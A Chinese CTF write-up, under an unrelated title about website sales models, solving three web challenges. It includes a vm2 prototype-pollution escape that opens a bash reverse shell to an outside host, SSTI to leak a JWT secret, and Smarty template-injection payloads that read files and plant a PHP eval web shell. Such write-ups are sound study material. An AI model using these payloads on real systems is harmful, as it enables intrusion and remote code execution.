河南商丘网站网络销售模式有哪些
文章目录
- [HZNUCTF 2023 final]eznode
- [MoeCTF 2021]地狱通讯-改
- [红明谷CTF 2022] Smarty Calculator
- 方法一 CVE-2021-26120
- 方法二 CVE-2021-29454
- 方法三 写马蚁剑连接
[HZNUCTF 2023 final]eznode
考点：vm2沙箱逃逸、原型链污染
打开题目，提示找找源码
直接访问./app.js得到
const express = require('express');
const app = express();
const { VM } = require('vm2');app.use(express.json());const backdoor = function () {try {new VM().run({}.shellcode);} catch (e) {console.log(e);}
}const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}
const clone = (a) => {return merge({}, a);
}app.get('/', function (req, res) {res.send("POST some json shit to /. no source code and try to find source code");
});app.post('/', function (req, res) {try {console.log(req.body)var body = JSON.parse(JSON.stringify(req.body));var copybody = clone(body)if (copybody.shit) {backdoor()}res.send("post shit ok")}catch(e){res.send("is it shit ?")console.log(e)}
})app.listen(3000, function () {console.log('start listening on port 3000');
});引用了vm2，有JSON.parse解析，并且存在merge方法，clone调用了merge，存在原型链污染漏洞
如果if语句为真，调用backdoor方法new VM().run({}.shellcode); 可以利用原型链污染到shellcode，进而rce
payload如下
{"shit":"1","__proto__": {"shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync(\"bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'\").toString();"}
}
postmanPOST发送即可
反弹shell成功，得到flag
[MoeCTF 2021]地狱通讯-改
考点：JWT解密、ssti
源码如下
from flask import Flask, render_template, request, session, redirect, make_response
from secret import secret, headers, User
import datetime
import jwtapp = Flask(__name__)@app.route("/", methods=['GET', 'POST'])
def index():f = open("app.py", "r")ctx = f.read()f.close()res = make_response(ctx)name = request.args.get('name') or ''if 'admin' in name or name == '':return respayload = {"name": name,}token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)res.set_cookie('token', token)return res@app.route('/hello', methods=['GET', 'POST'])
def hello():token = request.cookies.get('token')if not token:return redirect('/', 302)try:name = jwt.decode(token, secret, algorithms=['HS256'])['name']except jwt.exceptions.InvalidSignatureError as e:return "Invalid token"if name != "admin":user = User(name)flag = request.args.get('flag') or ''message = "Hello {0}, your flag is" + flagreturn message.format(user)else:return render_template('flag.html', name=name)if __name__ == "__main__":app.run()
分析一下，/路由下接收name参数，如果存在且值不为admin，将输出JWT加密的token值；/hello路由接收参数token，然后进行解密，如果为admin返回flag
首先第一步获取token值，访问/hello
然后要找到jwt解密要的密钥
我们利用ssti获取
/hello?flag={0.__class__.__init__.__globals__}
然后把密钥放到我们解密网站，验证成功，我们直接修改为admin
访问得到flag
[红明谷CTF 2022] Smarty Calculator
考点：Smarty模板注入，CVE-2021-26120
扫一下目录，发现有源码泄露
看下源码，发现是Smarty模板
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Smarty calculator</title>
</head>
<body background="img/1.jpg">
<div align="center"><h1>Smarty calculator</h1>
</div>
<div style="width:100%;text-align:center"><form action="" method="POST"><input type="text" style="width:150px;height:30px" name="data" placeholder=" 输入值进行计算" value=""><br><input type="submit" value="Submit"></form>
</div>
</body>
</html>
<?php
error_reporting(0);
include_once('./Smarty/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);function waf($data){$pattern = "php|\<|flag|\?";$vpattern = explode("|", $pattern);foreach ($vpattern as $value) {if (preg_match("/$value/", $data)) {echo("<div style='width:100%;text-align:center'><h5>Calculator don not like U<h5><br>");die();}}return $data;
}if(isset($_POST['data'])){if(isset($_COOKIE['login'])) {$data = waf($_POST['data']);echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";$smarty->display("string:" . $data);}else{echo "<script>alert(\"你还没有登录\")</script>";}
}
有waf过滤，然后判断cookie
我们试试注入语句，发现成功
由于我们在/Smarty/Smarty.class.php知道该版本
方法一 CVE-2021-26120
直接去网上找相关漏洞，发现是CVE-2021-26120（说是此版本修复但也不知道为啥能用）
然后去GitHub上下载该版本的源码对比一下，找到不同的地方
也就是sysplugins文件夹下的smarty_internal_compile_function.php
源码中的正则匹配
if (!preg_match('/^[a-zA-Z0-9_\x80-\xff]+$/', $_name))
而题目中的正则匹配
if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name))
可以发现变成!，后面的(.*)+中，.匹配除了换行符以外的所有字符，*匹配0次或者多次，+匹配一次或者多次，我们可以使用多次换行绕过
该漏洞的poc
修改一下即可得到flag
data={function name='rce(){};system("cat /var/www/f*");function%0A%0A'}{/function}
方法二 CVE-2021-29454
data={$poc="poc"}{math equation="(\"\\163\\171\\163\\164\\145\\155\")(\"\\143\\141\\164\\40\\57\\166\\141\\162\\57\\167\\167\\167\\57\\146\\52\")"}
方法三 写马蚁剑连接
也是利用八进制实现绕过
data={$poc="poc"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\61\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\120\\117\\123\\124\\133\\61\\135\\51\\73\\77\\76\")"}
